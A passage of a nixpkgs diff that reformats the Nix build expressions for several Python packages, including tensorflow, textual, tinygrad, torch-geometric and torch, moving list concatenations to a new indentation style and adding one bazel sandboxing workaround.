-      ++ lib.optionals (mklSupport) [ "--config=mkl" ];
+      # workaround for https://github.com/bazelbuild/bazel/issues/15359
+      "--spawn_strategy=sandboxed"
+    ]
+    ++ lib.optionals (mklSupport) [ "--config=mkl" ];
 
     bazelTargets = [
       "//tensorflow/tools/pip_package:build_pip_package //tensorflow/tools/lib_package:libtensorflow"
@@ -576,25 +575,24 @@ let
       requiredSystemFeatures = [ "big-parallel" ];
     };
 
-    meta =
-      {
-        badPlatforms = lib.optionals cudaSupport lib.platforms.darwin;
-        changelog = "https://github.com/tensorflow/tensorflow/releases/tag/v${version}";
-        description = "Computation using data flow graphs for scalable machine learning";
-        homepage = "http://tensorflow.org";
-        license = lib.licenses.asl20;
-        maintainers = with lib.maintainers; [ abbradar ];
-        platforms = with lib.platforms; linux ++ darwin;
-        broken =
-          stdenv.hostPlatform.isDarwin
-          || !(xlaSupport -> cudaSupport)
-          || !(cudaSupport -> builtins.hasAttr cudnnAttribute cudaPackages)
-          || !(cudaSupport -> cudaPackages ? cudatoolkit);
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
-        timeout = 86400; # 24 hours
-        maxSilent = 14400; # 4h, double the default of 7200s
-      };
+    meta = {
+      badPlatforms = lib.optionals cudaSupport lib.platforms.darwin;
+      changelog = "https://github.com/tensorflow/tensorflow/releases/tag/v${version}";
+      description = "Computation using data flow graphs for scalable machine learning";
+      homepage = "http://tensorflow.org";
+      license = lib.licenses.asl20;
+      maintainers = with lib.maintainers; [ abbradar ];
+      platforms = with lib.platforms; linux ++ darwin;
+      broken =
+        stdenv.hostPlatform.isDarwin
+        || !(xlaSupport -> cudaSupport)
+        || !(cudaSupport -> builtins.hasAttr cudnnAttribute cudaPackages)
+        || !(cudaSupport -> cudaPackages ? cudatoolkit);
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
+      timeout = 86400; # 24 hours
+      maxSilent = 14400; # 4h, double the default of 7200s
+    };
   };
 in
 buildPythonPackage {
@@ -652,7 +650,8 @@ buildPythonPackage {
     termcolor
     typing-extensions
     wrapt
-  ] ++ lib.optionals withTensorboard [ tensorboard ];
+  ]
+  ++ lib.optionals withTensorboard [ tensorboard ];
 
   nativeBuildInputs = lib.optionals cudaSupport [ addDriverRunpath ];
 
diff --git a/pkgs/development/python-modules/term-image/default.nix b/pkgs/development/python-modules/term-image/default.nix
index 71d257b77985..04f5070108d4 100644
--- a/pkgs/development/python-modules/term-image/default.nix
+++ b/pkgs/development/python-modules/term-image/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ optional-dependencies.urwid;
+  ]
+  ++ optional-dependencies.urwid;
 
   disabledTestPaths = [
     # test_url needs online access
diff --git a/pkgs/development/python-modules/textual-fastdatatable/default.nix b/pkgs/development/python-modules/textual-fastdatatable/default.nix
index 46213a689308..1e34f7f105ea 100644
--- a/pkgs/development/python-modules/textual-fastdatatable/default.nix
+++ b/pkgs/development/python-modules/textual-fastdatatable/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
     pytz
     textual
     tzdata
-  ] ++ textual.optional-dependencies.syntax;
+  ]
+  ++ textual.optional-dependencies.syntax;
 
   optional-dependencies = {
     polars = [ polars ];
@@ -45,7 +46,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-textual-snapshot
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "textual_fastdatatable" ];
 
diff --git a/pkgs/development/python-modules/textual-textarea/default.nix b/pkgs/development/python-modules/textual-textarea/default.nix
index 9e6a02bf2c00..9cbae884243f 100644
--- a/pkgs/development/python-modules/textual-textarea/default.nix
+++ b/pkgs/development/python-modules/textual-textarea/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
   dependencies = [
     pyperclip
     textual
-  ] ++ textual.optional-dependencies.syntax;
+  ]
+  ++ textual.optional-dependencies.syntax;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/textual/default.nix b/pkgs/development/python-modules/textual/default.nix
index 8eb126bb4c56..27bcd51d02f6 100644
--- a/pkgs/development/python-modules/textual/default.nix
+++ b/pkgs/development/python-modules/textual/default.nix
@@ -41,20 +41,20 @@ buildPythonPackage rec {
 
   build-system = [ poetry-core ];
 
-  dependencies =
-    [
-      markdown-it-py
-      platformdirs
-      rich
-      typing-extensions
-    ]
-    ++ markdown-it-py.optional-dependencies.plugins
-    ++ markdown-it-py.optional-dependencies.linkify;
+  dependencies = [
+    markdown-it-py
+    platformdirs
+    rich
+    typing-extensions
+  ]
+  ++ markdown-it-py.optional-dependencies.plugins
+  ++ markdown-it-py.optional-dependencies.linkify;
 
   optional-dependencies = {
     syntax = [
       tree-sitter
-    ] ++ lib.optionals (!tree-sitter-languages.meta.broken) [ tree-sitter-languages ];
+    ]
+    ++ lib.optionals (!tree-sitter-languages.meta.broken) [ tree-sitter-languages ];
   };
 
   nativeCheckInputs = [
diff --git a/pkgs/development/python-modules/tf-keras/default.nix b/pkgs/development/python-modules/tf-keras/default.nix
index ff99b3cf5966..4643ea82ef4c 100644
--- a/pkgs/development/python-modules/tf-keras/default.nix
+++ b/pkgs/development/python-modules/tf-keras/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   dependencies = [
     numpy
     tensorflow
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ distutils ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ distutils ];
 
   pythonImportsCheck = [ "tf_keras" ];
 
diff --git a/pkgs/development/python-modules/threat9-test-bed/default.nix b/pkgs/development/python-modules/threat9-test-bed/default.nix
index e98cdd6fdd2f..9497c1e21786 100644
--- a/pkgs/development/python-modules/threat9-test-bed/default.nix
+++ b/pkgs/development/python-modules/threat9-test-bed/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     gunicorn
     pyopenssl
     requests
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ standard-telnetlib ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ standard-telnetlib ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/tianshou/default.nix b/pkgs/development/python-modules/tianshou/default.nix
index 9078317fc055..2336768719cf 100644
--- a/pkgs/development/python-modules/tianshou/default.nix
+++ b/pkgs/development/python-modules/tianshou/default.nix
@@ -165,20 +165,19 @@ buildPythonPackage rec {
     "test/offline"
   ];
 
-  disabledTests =
-    [
-      # AttributeError: 'TimeLimit' object has no attribute 'test_attribute'
-      "test_attr_unwrapped"
-      # Failed: DID NOT RAISE <class 'TypeError'>
-      "test_batch"
-      # Failed: Raised AssertionError
-      "test_vecenv"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # pettingzoo/classic/tictactoe/tictactoe.py", line 254 in reset
-      "test_tic_tac_toe"
-    ];
+  disabledTests = [
+    # AttributeError: 'TimeLimit' object has no attribute 'test_attribute'
+    "test_attr_unwrapped"
+    # Failed: DID NOT RAISE <class 'TypeError'>
+    "test_batch"
+    # Failed: Raised AssertionError
+    "test_vecenv"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # pettingzoo/classic/tictactoe/tictactoe.py", line 254 in reset
+    "test_tic_tac_toe"
+  ];
 
   meta = {
     description = "Elegant PyTorch deep reinforcement learning library";
diff --git a/pkgs/development/python-modules/tinygrad/default.nix b/pkgs/development/python-modules/tinygrad/default.nix
index 5619e20d518d..9fcbf552e026 100644
--- a/pkgs/development/python-modules/tinygrad/default.nix
+++ b/pkgs/development/python-modules/tinygrad/default.nix
@@ -130,13 +130,12 @@ buildPythonPackage rec {
     triton = [ triton ];
   };
 
-  pythonImportsCheck =
-    [
-      "tinygrad"
-    ]
-    ++ lib.optionals cudaSupport [
-      "tinygrad.runtime.ops_nv"
-    ];
+  pythonImportsCheck = [
+    "tinygrad"
+  ]
+  ++ lib.optionals cudaSupport [
+    "tinygrad.runtime.ops_nv"
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
@@ -162,58 +161,58 @@ buildPythonPackage rec {
     torch
     tqdm
     transformers
-  ] ++ networkx.optional-dependencies.extra;
+  ]
+  ++ networkx.optional-dependencies.extra;
 
-  disabledTests =
-    [
-      # RuntimeError: Attempting to relocate against an undefined symbol 'fmaxf'
-      "test_backward_sum_acc_dtype"
-      "test_failure_27"
+  disabledTests = [
+    # RuntimeError: Attempting to relocate against an undefined symbol 'fmaxf'
+    "test_backward_sum_acc_dtype"
+    "test_failure_27"
 
-      # Flaky:
-      # AssertionError: 2.1376906810000946 not less than 2.0
-      "test_recursive_pad"
+    # Flaky:
+    # AssertionError: 2.1376906810000946 not less than 2.0
+    "test_recursive_pad"
 
-      # Require internet access
-      "test_benchmark_openpilot_model"
-      "test_bn_alone"
-      "test_bn_linear"
-      "test_bn_mnist"
-      "test_car"
-      "test_chicken"
-      "test_chicken_bigbatch"
-      "test_conv_mnist"
-      "testCopySHMtoDefault"
-      "test_data_parallel_resnet"
-      "test_e2e_big"
-      "test_fetch_small"
-      "test_huggingface_enet_safetensors"
-      "test_index_mnist"
-      "test_linear_mnist"
-      "test_load_convnext"
-      "test_load_enet"
-      "test_load_enet_alt"
-      "test_load_llama2bfloat"
-      "test_load_resnet"
-      "test_mnist_val"
-      "test_openpilot_model"
-      "test_resnet"
-      "test_shufflenet"
-      "test_transcribe_batch12"
-      "test_transcribe_batch21"
-      "test_transcribe_file1"
-      "test_transcribe_file2"
-      "test_transcribe_long"
-      "test_transcribe_long_no_batch"
-      "test_vgg7"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      # Fail with AssertionError
-      "test_casts_from"
-      "test_casts_to"
-      "test_int8"
-      "test_int8_to_uint16_negative"
-    ];
+    # Require internet access
+    "test_benchmark_openpilot_model"
+    "test_bn_alone"
+    "test_bn_linear"
+    "test_bn_mnist"
+    "test_car"
+    "test_chicken"
+    "test_chicken_bigbatch"
+    "test_conv_mnist"
+    "testCopySHMtoDefault"
+    "test_data_parallel_resnet"
+    "test_e2e_big"
+    "test_fetch_small"
+    "test_huggingface_enet_safetensors"
+    "test_index_mnist"
+    "test_linear_mnist"
+    "test_load_convnext"
+    "test_load_enet"
+    "test_load_enet_alt"
+    "test_load_llama2bfloat"
+    "test_load_resnet"
+    "test_mnist_val"
+    "test_openpilot_model"
+    "test_resnet"
+    "test_shufflenet"
+    "test_transcribe_batch12"
+    "test_transcribe_batch21"
+    "test_transcribe_file1"
+    "test_transcribe_file2"
+    "test_transcribe_long"
+    "test_transcribe_long_no_batch"
+    "test_vgg7"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    # Fail with AssertionError
+    "test_casts_from"
+    "test_casts_to"
+    "test_int8"
+    "test_int8_to_uint16_negative"
+  ];
 
   disabledTestPaths = [
     # Require internet access
diff --git a/pkgs/development/python-modules/torch-geometric/default.nix b/pkgs/development/python-modules/torch-geometric/default.nix
index b497c2d6a816..19fb848ce317 100644
--- a/pkgs/development/python-modules/torch-geometric/default.nix
+++ b/pkgs/development/python-modules/torch-geometric/default.nix
@@ -153,36 +153,35 @@ buildPythonPackage rec {
     writableTmpDirAsHomeHook
   ];
 
-  disabledTests =
-    [
-      # RuntimeError: addmm: computation on CPU is not implemented for SparseCsr + SparseCsr @ SparseCsr without MKL.
-      # PyTorch built with MKL has better support for addmm with sparse CPU tensors.
-      "test_asap"
-      "test_graph_unet"
+  disabledTests = [
+    # RuntimeError: addmm: computation on CPU is not implemented for SparseCsr + SparseCsr @ SparseCsr without MKL.
+    # PyTorch built with MKL has better support for addmm with sparse CPU tensors.
+    "test_asap"
+    "test_graph_unet"
 
-      # AttributeError: type object 'Any' has no attribute '_name'
-      "test_type_repr"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # This test uses `torch.jit` which might not be working on darwin:
-      # RuntimeError: required keyword attribute 'value' has the wrong type
-      "test_traceable_my_conv_with_self_loops"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeError: Dynamo is not supported on Python 3.13+
-      "test_compile"
+    # AttributeError: type object 'Any' has no attribute '_name'
+    "test_type_repr"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # This test uses `torch.jit` which might not be working on darwin:
+    # RuntimeError: required keyword attribute 'value' has the wrong type
+    "test_traceable_my_conv_with_self_loops"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeError: Dynamo is not supported on Python 3.13+
+    "test_compile"
 
-      # RuntimeError: Python 3.13+ not yet supported for torch.compile
-      "test_compile_graph_breaks"
-      "test_compile_multi_aggr_sage_conv"
-      "test_compile_hetero_conv_graph_breaks"
+    # RuntimeError: Python 3.13+ not yet supported for torch.compile
+    "test_compile_graph_breaks"
+    "test_compile_multi_aggr_sage_conv"
+    "test_compile_hetero_conv_graph_breaks"
 
-      # AttributeError: module 'typing' has no attribute 'io'. Did you mean: 'IO'?
-      "test_packaging"
+    # AttributeError: module 'typing' has no attribute 'io'. Did you mean: 'IO'?
+    "test_packaging"
 
-      # RuntimeError: Boolean value of Tensor with more than one value is ambiguous
-      "test_feature_store"
-    ];
+    # RuntimeError: Boolean value of Tensor with more than one value is ambiguous
+    "test_feature_store"
+  ];
 
   meta = {
     description = "Graph Neural Network Library for PyTorch";
diff --git a/pkgs/development/python-modules/torch/bin/default.nix b/pkgs/development/python-modules/torch/bin/default.nix
index 268bd4ddca21..62053f5d0b82 100644
--- a/pkgs/development/python-modules/torch/bin/default.nix
+++ b/pkgs/development/python-modules/torch/bin/default.nix
@@ -96,7 +96,8 @@ buildPythonPackage {
     setuptools
     sympy
     typing-extensions
-  ] ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [ triton ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [ triton ];
 
   postInstall = ''
     # ONNX conversion
diff --git a/pkgs/development/python-modules/torch/source/default.nix b/pkgs/development/python-modules/torch/source/default.nix
index 560ad2886d4a..cb49b65795c3 100644
--- a/pkgs/development/python-modules/torch/source/default.nix
+++ b/pkgs/development/python-modules/torch/source/default.nix
@@ -290,82 +290,80 @@ buildPythonPackage rec {
       ;
   };
 
-  patches =
-    [
-      ./clang19-template-warning.patch
-    ]
-    ++ lib.optionals cudaSupport [ ./fix-cmake-cuda-toolkit.patch ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Propagate CUPTI to Kineto by overriding the search path with environment variables.
-      # https://github.com/pytorch/pytorch/pull/108847
-      ./pytorch-pr-108847.patch
-    ]
-    ++ lib.optionals (lib.getName blas.provider == "mkl") [
-      # The CMake install tries to add some hardcoded rpaths, incompatible
-      # with the Nix store, which fails. Simply remove this step to get
-      # rpaths that point to the Nix store.
-      ./disable-cmake-mkl-rpath.patch
-    ];
+  patches = [
+    ./clang19-template-warning.patch
+  ]
+  ++ lib.optionals cudaSupport [ ./fix-cmake-cuda-toolkit.patch ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Propagate CUPTI to Kineto by overriding the search path with environment variables.
+    # https://github.com/pytorch/pytorch/pull/108847
+    ./pytorch-pr-108847.patch
+  ]
+  ++ lib.optionals (lib.getName blas.provider == "mkl") [
+    # The CMake install tries to add some hardcoded rpaths, incompatible
+    # with the Nix store, which fails. Simply remove this step to get
+    # rpaths that point to the Nix store.
+    ./disable-cmake-mkl-rpath.patch
+  ];
 
-  postPatch =
-    ''
-      # Prevent NCCL from being cloned during the configure phase
-      # TODO: remove when updating to the next release as it will not be needed anymore
-      substituteInPlace tools/build_pytorch_libs.py \
-        --replace-fail "  checkout_nccl()" "  "
+  postPatch = ''
+    # Prevent NCCL from being cloned during the configure phase
+    # TODO: remove when updating to the next release as it will not be needed anymore
+    substituteInPlace tools/build_pytorch_libs.py \
+      --replace-fail "  checkout_nccl()" "  "
 
-      substituteInPlace cmake/public/cuda.cmake \
-        --replace-fail \
-          'message(FATAL_ERROR "Found two conflicting CUDA' \
-          'message(WARNING "Found two conflicting CUDA' \
-        --replace-warn \
-          "set(CUDAToolkit_ROOT" \
-          "# Upstream: set(CUDAToolkit_ROOT"
-      substituteInPlace third_party/gloo/cmake/Cuda.cmake \
-        --replace-warn "find_package(CUDAToolkit 7.0" "find_package(CUDAToolkit"
+    substituteInPlace cmake/public/cuda.cmake \
+      --replace-fail \
+        'message(FATAL_ERROR "Found two conflicting CUDA' \
+        'message(WARNING "Found two conflicting CUDA' \
+      --replace-warn \
+        "set(CUDAToolkit_ROOT" \
+        "# Upstream: set(CUDAToolkit_ROOT"
+    substituteInPlace third_party/gloo/cmake/Cuda.cmake \
+      --replace-warn "find_package(CUDAToolkit 7.0" "find_package(CUDAToolkit"
 
-      # annotations (3.7), print_function (3.0), with_statement (2.6) are all supported
-      sed -i -e "/from __future__ import/d" **.py
-      substituteInPlace third_party/NNPACK/CMakeLists.txt \
-        --replace-fail "PYTHONPATH=" 'PYTHONPATH=$ENV{PYTHONPATH}:'
-      # flag from cmakeFlags doesn't work, not clear why
-      # setting it at the top of NNPACK's own CMakeLists does
-      sed -i '2s;^;set(PYTHON_SIX_SOURCE_DIR ${six.src})\n;' third_party/NNPACK/CMakeLists.txt
-    ''
-    + lib.optionalString rocmSupport ''
-      # https://github.com/facebookincubator/gloo/pull/297
-      substituteInPlace third_party/gloo/cmake/Hipify.cmake \
-        --replace-fail "\''${HIPIFY_COMMAND}" "python \''${HIPIFY_COMMAND}"
+    # annotations (3.7), print_function (3.0), with_statement (2.6) are all supported
+    sed -i -e "/from __future__ import/d" **.py
+    substituteInPlace third_party/NNPACK/CMakeLists.txt \
+      --replace-fail "PYTHONPATH=" 'PYTHONPATH=$ENV{PYTHONPATH}:'
+    # flag from cmakeFlags doesn't work, not clear why
+    # setting it at the top of NNPACK's own CMakeLists does
+    sed -i '2s;^;set(PYTHON_SIX_SOURCE_DIR ${six.src})\n;' third_party/NNPACK/CMakeLists.txt
+  ''
+  + lib.optionalString rocmSupport ''
+    # https://github.com/facebookincubator/gloo/pull/297
+    substituteInPlace third_party/gloo/cmake/Hipify.cmake \
+      --replace-fail "\''${HIPIFY_COMMAND}" "python \''${HIPIFY_COMMAND}"
 
-      # Replace hard-coded rocm paths
-      substituteInPlace caffe2/CMakeLists.txt \
-        --replace-fail "hcc/include" "hip/include" \
-        --replace-fail "rocblas/include" "include/rocblas" \
-        --replace-fail "hipsparse/include" "include/hipsparse"
+    # Replace hard-coded rocm paths
+    substituteInPlace caffe2/CMakeLists.txt \
+      --replace-fail "hcc/include" "hip/include" \
+      --replace-fail "rocblas/include" "include/rocblas" \
+      --replace-fail "hipsparse/include" "include/hipsparse"
 
-      # Doesn't pick up the environment variable?
-      substituteInPlace third_party/kineto/libkineto/CMakeLists.txt \
-        --replace-fail "\''$ENV{ROCM_SOURCE_DIR}" "${rocmtoolkit_joined}"
+    # Doesn't pick up the environment variable?
+    substituteInPlace third_party/kineto/libkineto/CMakeLists.txt \
+      --replace-fail "\''$ENV{ROCM_SOURCE_DIR}" "${rocmtoolkit_joined}"
 
-      # Strangely, this is never set in cmake
-      substituteInPlace cmake/public/LoadHIP.cmake \
-        --replace "set(ROCM_PATH \$ENV{ROCM_PATH})" \
-          "set(ROCM_PATH \$ENV{ROCM_PATH})''\nset(ROCM_VERSION ${lib.concatStrings (lib.intersperse "0" (lib.splitVersion rocmPackages.clr.version))})"
-    ''
-    # Detection of NCCL version doesn't work particularly well when using the static binary.
-    + lib.optionalString cudaSupport ''
-      substituteInPlace cmake/Modules/FindNCCL.cmake \
-        --replace-fail \
-          'message(FATAL_ERROR "Found NCCL header version and library version' \
-          'message(WARNING "Found NCCL header version and library version'
-    ''
-    # Remove PyTorch's FindCUDAToolkit.cmake and use CMake's default.
-    # NOTE: Parts of pytorch rely on unmaintained FindCUDA.cmake with custom patches to support e.g.
-    # newer architectures (sm_90a). We do want to delete vendored patches, but have to keep them
-    # until https://github.com/pytorch/pytorch/issues/76082 is addressed
-    + lib.optionalString cudaSupport ''
-      rm cmake/Modules/FindCUDAToolkit.cmake
-    '';
+    # Strangely, this is never set in cmake
+    substituteInPlace cmake/public/LoadHIP.cmake \
+      --replace "set(ROCM_PATH \$ENV{ROCM_PATH})" \
+        "set(ROCM_PATH \$ENV{ROCM_PATH})''\nset(ROCM_VERSION ${lib.concatStrings (lib.intersperse "0" (lib.splitVersion rocmPackages.clr.version))})"
+  ''
+  # Detection of NCCL version doesn't work particularly well when using the static binary.
+  + lib.optionalString cudaSupport ''
+    substituteInPlace cmake/Modules/FindNCCL.cmake \
+      --replace-fail \
+        'message(FATAL_ERROR "Found NCCL header version and library version' \
+        'message(WARNING "Found NCCL header version and library version'
+  ''
+  # Remove PyTorch's FindCUDAToolkit.cmake and use CMake's default.
+  # NOTE: Parts of pytorch rely on unmaintained FindCUDA.cmake with custom patches to support e.g.
+  # newer architectures (sm_90a). We do want to delete vendored patches, but have to keep them
+  # until https://github.com/pytorch/pytorch/issues/76082 is addressed
+  + lib.optionalString cudaSupport ''
+    rm cmake/Modules/FindCUDAToolkit.cmake
+  '';
 
   # NOTE(@connorbaker): Though we do not disable Gloo or MPI when building with CUDA support, caution should be taken
   # when using the different backends. Gloo's GPU support isn't great, and MPI and CUDA can't be used at the same time
@@ -425,17 +423,16 @@ buildPythonPackage rec {
   # https://pytorch.org/docs/stable/distributed.html#torch.distributed.is_available
   USE_DISTRIBUTED = setBool true;
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "PYTHON_SIX_SOURCE_DIR" "${six.src}")
-      # (lib.cmakeBool "CMAKE_FIND_DEBUG_MODE" true)
-      (lib.cmakeFeature "CUDAToolkit_VERSION" cudaPackages.cudaMajorMinorVersion)
-    ]
-    ++ lib.optionals cudaSupport [
-      # Unbreaks version discovery in enable_language(CUDA) when wrapping nvcc with ccache
-      # Cf. https://gitlab.kitware.com/cmake/cmake/-/issues/26363
-      (lib.cmakeFeature "CMAKE_CUDA_COMPILER_TOOLKIT_VERSION" cudaPackages.cudaMajorMinorVersion)
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "PYTHON_SIX_SOURCE_DIR" "${six.src}")
+    # (lib.cmakeBool "CMAKE_FIND_DEBUG_MODE" true)
+    (lib.cmakeFeature "CUDAToolkit_VERSION" cudaPackages.cudaMajorMinorVersion)
+  ]
+  ++ lib.optionals cudaSupport [
+    # Unbreaks version discovery in enable_language(CUDA) when wrapping nvcc with ccache
+    # Cf. https://gitlab.kitware.com/cmake/cmake/-/issues/26363
+    (lib.cmakeFeature "CMAKE_CUDA_COMPILER_TOOLKIT_VERSION" cudaPackages.cudaMajorMinorVersion)
+  ];
 
   preBuild = ''
     export MAX_JOBS=$NIX_BUILD_CORES
@@ -474,133 +471,129 @@ buildPythonPackage rec {
   # https://github.com/pytorch/pytorch/commit/3d617333e
   PYTHON_LIB_REL_PATH = "${placeholder "out"}/${python.sitePackages}";
 
-  env =
-    {
-      # disable warnings as errors as they break the build on every compiler
-      # bump, among other things.
-      # Also of interest: pytorch ignores CXXFLAGS uses CFLAGS for both C and C++:
-      # https://github.com/pytorch/pytorch/blob/v1.11.0/setup.py#L17
-      NIX_CFLAGS_COMPILE = toString (
-        [
-          "-Wno-error"
-        ]
-        # fix build aarch64-linux build failure with GCC14
-        ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-          "-Wno-error=incompatible-pointer-types"
-        ]
-      );
-      USE_VULKAN = setBool vulkanSupport;
-    }
-    // lib.optionalAttrs vulkanSupport {
-      VULKAN_SDK = shaderc.bin;
-    }
-    // lib.optionalAttrs rocmSupport {
-      AOTRITON_INSTALLED_PREFIX = "${rocmPackages.aotriton}";
-    };
-
-  nativeBuildInputs =
-    [
-      cmake
-      which
-      ninja
-      pybind11
-      pkg-config
-      removeReferencesTo
-    ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
+  env = {
+    # disable warnings as errors as they break the build on every compiler
+    # bump, among other things.
+    # Also of interest: pytorch ignores CXXFLAGS uses CFLAGS for both C and C++:
+    # https://github.com/pytorch/pytorch/blob/v1.11.0/setup.py#L17
+    NIX_CFLAGS_COMPILE = toString (
       [
-        autoAddDriverRunpath
-        cuda_nvcc
+        "-Wno-error"
       ]
-    )
-    ++ lib.optionals isCudaJetson [ cudaPackages.autoAddCudaCompatRunpath ]
-    ++ lib.optionals rocmSupport [ rocmtoolkit_joined ];
+      # fix build aarch64-linux build failure with GCC14
+      ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+        "-Wno-error=incompatible-pointer-types"
+      ]
+    );
+    USE_VULKAN = setBool vulkanSupport;
+  }
+  // lib.optionalAttrs vulkanSupport {
+    VULKAN_SDK = shaderc.bin;
+  }
+  // lib.optionalAttrs rocmSupport {
+    AOTRITON_INSTALLED_PREFIX = "${rocmPackages.aotriton}";
+  };
 
-  buildInputs =
+  nativeBuildInputs = [
+    cmake
+    which
+    ninja
+    pybind11
+    pkg-config
+    removeReferencesTo
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      blas
-      blas.provider
+      autoAddDriverRunpath
+      cuda_nvcc
     ]
-    ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cccl # <thrust/*>
-        cuda_cudart # cuda_runtime.h and libraries
-        cuda_cupti # For kineto
-        cuda_nvcc # crt/host_config.h; even though we include this in nativeBuildInputs, it's needed here too
-        cuda_nvml_dev # <nvml.h>
-        cuda_nvrtc
-        cuda_nvtx # -llibNVToolsExt
-        cusparselt
-        libcublas
-        libcufft
-        libcufile
-        libcurand
-        libcusolver
-        libcusparse
-      ]
-      ++ lists.optionals (cudaPackages ? cudnn) [ cudnn ]
-      ++ lists.optionals useSystemNccl [
-        # Some platforms do not support NCCL (i.e., Jetson)
-        nccl # Provides nccl.h AND a static copy of NCCL!
-      ]
-      ++ lists.optionals (cudaOlder "11.8") [
-        cuda_nvprof # <cuda_profiler_api.h>
-      ]
-      ++ lists.optionals (cudaAtLeast "11.8") [
-        cuda_profiler_api # <cuda_profiler_api.h>
-      ]
-    )
-    ++ lib.optionals rocmSupport [ rocmPackages.llvm.openmp ]
-    ++ lib.optionals (cudaSupport || rocmSupport) [ effectiveMagma ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ numactl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_13
+  )
+  ++ lib.optionals isCudaJetson [ cudaPackages.autoAddCudaCompatRunpath ]
+  ++ lib.optionals rocmSupport [ rocmtoolkit_joined ];
+
+  buildInputs = [
+    blas
+    blas.provider
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
+    [
+      cuda_cccl # <thrust/*>
+      cuda_cudart # cuda_runtime.h and libraries
+      cuda_cupti # For kineto
+      cuda_nvcc # crt/host_config.h; even though we include this in nativeBuildInputs, it's needed here too
+      cuda_nvml_dev # <nvml.h>
+      cuda_nvrtc
+      cuda_nvtx # -llibNVToolsExt
+      cusparselt
+      libcublas
+      libcufft
+      libcufile
+      libcurand
+      libcusolver
+      libcusparse
     ]
-    ++ lib.optionals tritonSupport [ _tritonEffective ]
-    ++ lib.optionals MPISupport [ mpi ]
-    ++ lib.optionals rocmSupport [
-      rocmtoolkit_joined
-      rocmPackages.clr # Added separately so setup hook applies
-    ];
+    ++ lists.optionals (cudaPackages ? cudnn) [ cudnn ]
+    ++ lists.optionals useSystemNccl [
+      # Some platforms do not support NCCL (i.e., Jetson)
+      nccl # Provides nccl.h AND a static copy of NCCL!
+    ]
+    ++ lists.optionals (cudaOlder "11.8") [
+      cuda_nvprof # <cuda_profiler_api.h>
+    ]
+    ++ lists.optionals (cudaAtLeast "11.8") [
+      cuda_profiler_api # <cuda_profiler_api.h>
+    ]
+  )
+  ++ lib.optionals rocmSupport [ rocmPackages.llvm.openmp ]
+  ++ lib.optionals (cudaSupport || rocmSupport) [ effectiveMagma ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ numactl ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_13
+  ]
+  ++ lib.optionals tritonSupport [ _tritonEffective ]
+  ++ lib.optionals MPISupport [ mpi ]
+  ++ lib.optionals rocmSupport [
+    rocmtoolkit_joined
+    rocmPackages.clr # Added separately so setup hook applies
+  ];
 
   pythonRelaxDeps = [
     "sympy"
   ];
-  dependencies =
-    [
-      astunparse
-      expecttest
-      filelock
-      fsspec
-      hypothesis
-      jinja2
-      networkx
-      ninja
-      packaging
-      psutil
-      pyyaml
-      requests
-      sympy
-      types-dataclasses
-      typing-extensions
+  dependencies = [
+    astunparse
+    expecttest
+    filelock
+    fsspec
+    hypothesis
+    jinja2
+    networkx
+    ninja
+    packaging
+    psutil
+    pyyaml
+    requests
+    sympy
+    types-dataclasses
+    typing-extensions
 
-      # the following are required for tensorboard support
-      pillow
-      six
-      tensorboard
-      protobuf
+    # the following are required for tensorboard support
+    pillow
+    six
+    tensorboard
+    protobuf
 
-      # torch/csrc requires `pybind11` at runtime
-      pybind11
-    ]
-    ++ lib.optionals tritonSupport [ _tritonEffective ]
-    ++ lib.optionals vulkanSupport [
-      vulkan-headers
-      vulkan-loader
-    ];
